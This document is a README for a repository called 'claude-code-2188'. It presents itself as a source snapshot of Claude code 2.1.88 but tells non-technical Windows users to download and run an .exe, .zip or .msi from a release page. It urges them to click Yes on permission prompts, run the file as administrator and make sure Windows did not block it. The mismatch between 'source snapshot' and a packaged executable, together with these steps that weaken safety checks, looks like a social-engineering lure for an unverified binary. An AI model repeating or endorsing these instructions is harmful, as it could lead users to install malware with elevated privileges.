🧩 claude-code-2188 - Easy access to Claude code files

🚀 Overview

claude-code-2188 is a collected source snapshot for Claude code 2.1.88. It gives Windows users a simple way to get the release files and run the app from the official release page.

This README focuses on the easiest path for a non-technical user:

• open the release page
• download the correct file for Windows
• run the app
• check that it starts the right way

📥 Download the files

Use this page to download the release files:

Open the release page

On that page, look for the latest release. Then find the file meant for Windows. Common file types include:

• .exe for a direct app run
• .zip for a packed folder
• .msi for a Windows installer

If you see more than one file, choose the one that matches your Windows version and file type. For most users, the file with Windows in the name is the right one.

🖥️ What you need

Use a Windows PC with:

• Windows 10 or Windows 11
• at least 4 GB of RAM
• enough free disk space for the app and its files
• a stable internet connection for the download

A mouse and keyboard help, but the app should work with normal Windows controls.

🛠️ How to install on Windows

Follow these steps in order:

1. Open the release page.
2. Find the latest release.
3. Download the Windows file.
4. If the file is a .zip, right-click it and choose Extract All.
5. Open the extracted folder.
6. If you see an .exe file, double-click it to start the app.
7. If you see an .msi file, double-click it and follow the setup steps.
8. If Windows asks for permission, click Yes.

If you downloaded a .zip file, keep the folder in a place you can find later, such as Downloads or Desktop.

▶️ How to run the app

After the file is installed or unpacked:

1. Open the folder that holds the app.
2. Look for the main program file.
3. Double-click it.
4. Wait for the window to open.

If the app starts from a shortcut, you can use that shortcut next time.

📁 Typical file layout

A release folder may contain files like these:

• claude-code-2188.exe
• README.txt
• config.json
• data folder
• logs folder

You do not need to edit these files to use the app. Only open the main app file unless the release notes say something else.

🔧 Basic use

This snapshot is meant to make Claude code 2.1.88 easy to access. In normal use, you may:

• open the app
• view the included source snapshot
• use local files that come with the release
• keep the release folder in one place for later use

If the app shows settings, leave them at the default values unless you need to change them.

🧭 How to update

When a new release appears:

1. Go back to the release page.
2. Download the latest file.
3. Replace the old folder or install the new version.
4. Open the newest app file.

Keep older files only if you need them for backup.

🧪 If the app does not open

Try these steps:

• right-click the file and choose Run as administrator
• check that the file finished downloading
• make sure Windows did not block the file
• if the file is a .zip, extract it before opening the app
• restart the PC and try again

If the app still does not open, download the file again from the release page.

🔐 File safety on Windows

When Windows shows a security prompt, check the file name and source before you continue. Use the release page above for the download. Keep the files in a folder you trust, such as your user folder or Desktop.

📌 Common questions

Is this for non-technical users?

Yes. The release page gives you the files, and this README shows the basic steps to open them on Windows.

Do I need extra software?

Usually no. If the release uses a .zip file, Windows can extract it. If it uses an .msi file, Windows can start the installer.

Where should I save the download?

Save it in Downloads first. After that, move it to Desktop or another folder if you want easy access.

What if I cannot find the right file?

Open the latest release and look for the Windows build. Read the file name and choose the one that ends in .exe, .zip, or .msi.

🧩 Release notes

Each release may include small changes, fixes, or file updates. Read the release text before you download if you want the latest details about that version.

🗂️ Suggested folder names

You can keep the app in a folder with a simple name, such as:

• claude-code-2188
• ClaudeCode
• Apps\claude-code-2188

A clear folder name helps you find the app later

⌨️ Short path for first-time users

If you want the fastest path:

1. Open the release page.
2. Download the Windows file.
3. Extract it if needed.
4. Open the main app file.
5. Keep the folder for later use